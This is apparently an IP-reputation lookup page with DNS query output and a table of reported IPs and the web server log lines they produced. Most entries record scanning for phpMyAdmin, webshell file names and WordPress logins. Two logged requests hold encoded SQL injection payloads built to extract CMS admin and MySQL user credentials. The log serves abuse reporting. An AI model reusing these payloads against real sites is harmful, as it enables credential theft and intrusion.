城市(city): unknown
省份(region): unknown
国家(country): None
运营商(isp): unknown
主机名(hostname): unknown
机构(organization): unknown
使用类型(Usage Type): unknown
b; <<>> DiG 9.10.3-P4-Ubuntu <<>> 205.160.138.16
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 11037
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 0
;; QUESTION SECTION:
;205.160.138.16. IN A
;; AUTHORITY SECTION:
. 143 IN SOA a.root-servers.net. nstld.verisign-grs.com. 2022011000 1800 900 604800 86400
;; Query time: 68 msec
;; SERVER: 183.60.83.19#53(183.60.83.19)
;; WHEN: Mon Jan 10 16:02:25 CST 2022
;; MSG SIZE rcvd: 107Host 16.138.160.205.in-addr.arpa. not found: 3(NXDOMAIN)Server: 183.60.83.19
Address: 183.60.83.19#53
** server can't find 16.138.160.205.in-addr.arpa: NXDOMAIN| IP | 类型 | 评论内容 | 时间 |
|---|---|---|---|
| 52.114.6.38 | bots | 52.114.6.38 - - [12/Apr/2019:14:09:43 +0800] "GET /check-ip/106.13.55.69 HTTP/1.1" 200 53479 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) SkypeUriPreview Preview/0.5" 52.114.6.38 - - [12/Apr/2019:14:09:43 +0800] "GET /static/favicon.ico HTTP/1.1" 200 4286 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) SkypeUriPreview Preview/0.5" |
2019-04-12 14:15:45 |
| 5.188.115.64 | attack | 端口扫描brute-force |
2019-04-16 07:05:55 |
| 68.183.123.123 | attack | 68.183.123.123 - - [15/Apr/2019:09:53:42 +0800] "GET /sql/myadmin/index.php?lang=en HTTP/1.1" 301 194 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.119 Safari/537.36" 68.183.123.123 - - [15/Apr/2019:09:53:43 +0800] "GET /sql/webadmin/index.php?lang=en HTTP/1.1" 301 194 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.119 Safari/537.36" 68.183.123.123 - - [15/Apr/2019:09:53:43 +0800] "GET /sql/sqlweb/index.php?lang=en HTTP/1.1" 301 194 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.119 Safari/537.36" 68.183.123.123 - - [15/Apr/2019:09:53:44 +0800] "GET /sql/websql/index.php?lang=en HTTP/1.1" 301 194 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.119 Safari/537.36" 68.183.123.123 - - [15/Apr/2019:09:53:44 +0800] "GET /sql/webdb/index.php?lang=en HTTP/1.1" 301 194 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.119 Safari/537.36" |
2019-04-15 10:18:04 |
| 216.244.66.245 | bots | 216.244.66.245 - - [13/Apr/2019:10:54:56 +0800] "GET /robots.txt HTTP/1.1" 301 194 "-" "Mozilla/5.0 (compatible; DotBot/1.1; http://www.opensiteexplorer.org/dotbot, help@moz.com)" 216.244.66.245 - - [13/Apr/2019:10:54:57 +0800] "GET /robots.txt HTTP/1.1" 200 292 "-" "Mozilla/5.0 (compatible; DotBot/1.1; http://www.opensiteexplorer.org/dotbot, help@moz.com)" |
2019-04-13 10:55:33 |
| 139.59.23.231 | attack | 139.59.23.231 - - [12/Apr/2019:08:13:30 +0800] "GET /w00tw00t.at.blackhats.romanian.anti-sec:) HTTP/1.1" 301 194 "-" "ZmEu" 139.59.23.231 - - [12/Apr/2019:08:13:30 +0800] "GET /phpMyAdmin/ HTTP/1.1" 301 194 "-" "ZmEu" 139.59.23.231 - - [12/Apr/2019:08:13:30 +0800] "GET /phpmyadmin/ HTTP/1.1" 301 194 "-" "ZmEu" |
2019-04-12 08:15:40 |
| 185.93.3.129 | bots | 185.93.3.129 - - [13/Apr/2019:09:07:49 +0800] "GET /robots.txt HTTP/1.1" 200 292 "-" "Mozilla/5.0 (compatible; Cliqzbot/2.0; +http://cliqz.com/company/cliqzbot)" 185.93.3.129 - - [13/Apr/2019:09:07:51 +0800] "GET /check-ip/118.25.71.65 HTTP/1.1" 200 8968 "-" "Mozilla/5.0 (compatible; Cliqzbot/2.0; +http://cliqz.com/company/cliqzbot)" |
2019-04-13 09:17:16 |
| 101.227.151.57 | attack | 101.227.151.57 - - [18/Apr/2019:17:29:20 +0800] "GET /program/index.php HTTP/1.1" 301 194 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 9_3_4 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Mobile/13G35 QQ/6.5.3.410 V1_IPH_SQ_6.5.3_1_APP_A Pixel/750 Core/UIWebView NetType/2G Mem/117" 101.227.151.57 - - [18/Apr/2019:17:29:20 +0800] "GET /program/index.php HTTP/1.1" 404 209 "http://118.25.52.138/program/index.php" "Mozilla/5.0 (iPhone; CPU iPhone OS 9_3_4 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Mobile/13G35 QQ/6.5.3.410 V1_IPH_SQ_6.5.3_1_APP_A Pixel/750 Core/UIWebView NetType/2G Mem/117" |
2019-04-18 17:30:14 |
| 134.175.20.103 | attack | 恶意攻击 134.175.20.103 - - [18/Apr/2019:20:51:46 +0800] "POST /sha.php HTTP/1.1" 301 194 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36" 134.175.20.103 - - [18/Apr/2019:20:51:46 +0800] "POST /ppx.php HTTP/1.1" 301 194 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36" 134.175.20.103 - - [18/Apr/2019:20:51:46 +0800] "POST /1.php HTTP/1.1" 301 194 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36" 134.175.20.103 - - [18/Apr/2019:20:51:46 +0800] "POST /confg.php HTTP/1.1" 301 194 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36" 134.175.20.103 - - [18/Apr/2019:20:51:46 +0800] "POST /conf1g.php HTTP/1.1" 301 194 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36" 134.175.20.103 - - [18/Apr/2019:20:51:46 +0800] "POST /confg.php HTTP/1.1" 301 194 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36" |
2019-04-18 20:52:46 |
| 82.221.105.7 | bots | 82.221.105.7 - - [19/Apr/2019:14:31:43 +0800] "GET / HTTP/1.1" 301 194 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36" 82.221.105.7 - - [19/Apr/2019:14:31:44 +0800] "GET /robots.txt HTTP/1.1" 301 194 "-" "-" 82.221.105.7 - - [19/Apr/2019:14:31:45 +0800] "GET /sitemap.xml HTTP/1.1" 301 194 "-" "-" 82.221.105.7 - - [19/Apr/2019:14:31:46 +0800] "GET /.well-known/security.txt HTTP/1.1" 301 194 "-" "-" 82.221.105.7 - - [19/Apr/2019:14:31:48 +0800] "GET /favicon.ico HTTP/1.1" 301 194 "-" "python-requests/2.10.0" |
2019-04-19 14:32:28 |
| 123.206.44.225 | attack | 123.206.44.225 - - [18/Apr/2019:22:22:21 +0800] "GET /web/phpMyAdmin/index.php HTTP/1.1" 404 518 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)" 123.206.44.225 - - [18/Apr/2019:22:22:22 +0800] "GET /admin/pma/index.php HTTP/1.1" 404 513 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)" 123.206.44.225 - - [18/Apr/2019:22:22:22 +0800] "GET /admin/PMA/index.php HTTP/1.1" 404 513 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)" 123.206.44.225 - - [18/Apr/2019:22:22:23 +0800] "GET /admin/mysql/index.php HTTP/1.1" 404 515 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)" 123.206.44.225 - - [18/Apr/2019:22:22:23 +0800] "GET /admin/mysql2/index.php HTTP/1.1" 404 516 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)" |
2019-04-19 06:42:27 |
| 77.247.109.79 | botsattack | 77.247.109.79 - - [12/Apr/2019:14:11:58 +0800] "GET /admin/config.php HTTP/1.1" 404 232 "-" "curl/7.19.7 (x86_64-redhat-linux-gnu) libcurl/7.19.7 NSS/3.27.1 zlib/1.2.3 libidn/1.18 libssh2/1.4.2" 77.247.109.79 - - [12/Apr/2019:14:11:59 +0800] "\\x16\\x03\\x01\\x00\\x90\\x01\\x00\\x00\\x8C\\x03\\x03g\\xC4\\x0C\\x1A\\xF7q|\\xEF\\x98\\xBC\\x1AO\\xC2!\\x14-\\xA3K\\x85\\xCD\\xA5aG\\xEF\\xD8\\xC3\\x99y:F|\\xBA\\x00\\x00.\\xC0+\\xC0/\\x00\\x9E\\x00\\x9C\\xC0" 400 182 "-" "-" |
2019-04-12 14:16:02 |
| 46.248.167.73 | bots | 46.248.167.73 - - [13/Apr/2019:10:17:45 +0800] "GET /index.php/category/root/amazon/ HTTP/1.1" 200 21893 "-" "Zend_Http_Client" |
2019-04-13 10:18:13 |
| 61.160.221.73 | attack | 61.160.221.73 - - [21/Apr/2019:04:15:36 +0800] "POST /wp-login.php HTTP/1.1" 302 284 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 S afari/537.36 SE 2.X MetaSr 1.0" 61.160.221.73 - - [21/Apr/2019:04:15:43 +0800] "GET /wp-login.php HTTP/1.1" 200 5456 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 S afari/537.36 SE 2.X MetaSr 1.0" 61.160.221.73 - - [21/Apr/2019:04:15:47 +0800] "POST /wp-login.php HTTP/1.1" 302 284 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 S afari/537.36 SE 2.X MetaSr 1.0" |
2019-04-21 06:59:39 |
| 159.89.153.54 | attack | abuseip |
2019-04-19 17:03:14 |
| 61.160.195.187 | attack | 61.160.195.187 - - [21/Apr/2019:06:24:39 +0800] "GET /plus/recommend.php?action=&aid=1&_FILES%5Btype%5D%5Btmp_name%5D=%5C%27%20or%20mid=@%60%5C%27%60%20/*!50000union*//*!50000select*/1,2, 3,(select%20CONCAT(0x7c,userid,0x7c,pwd)+from+%60%23@__admin%60%20limit+0,1),5,6,7,8,9%23@%60%5C%27%60+&_FILES%5Btype%5D%5Bname%5D=1.jpg&_FILES%5Btype%5D%5Btype%5D=application/octet-strea m&_FILES%5Btype%5D%5Bsize%5D=4294 HTTP/1.1" 404 3409 "-" "-" 61.160.195.187 - - [21/Apr/2019:06:24:39 +0800] "GET /plus/recommend.php?aid=1&_FILES%5Btype%5D%5Bname%5D&_FILES%5Btype%5D%5Bsize%5D&_FILES%5Btype%5D%5Btype%5D&_FILES%5Btype%5D%5Btmp_name %5D=aa%5C'and+char(@%60'%60)+/*!50000Union*/+/*!50000SeLect*/+1,2,3,concat(0x3C6162633E,group_concat(0x7C,Host,0x7C,user,0x3a,password,0x7C),0x3C2F6162633E),5,6,7,8,9%20from%20mysql.%60us er%60%23 HTTP/1.1" 404 538 "-" "-" |
2019-04-21 06:55:34 |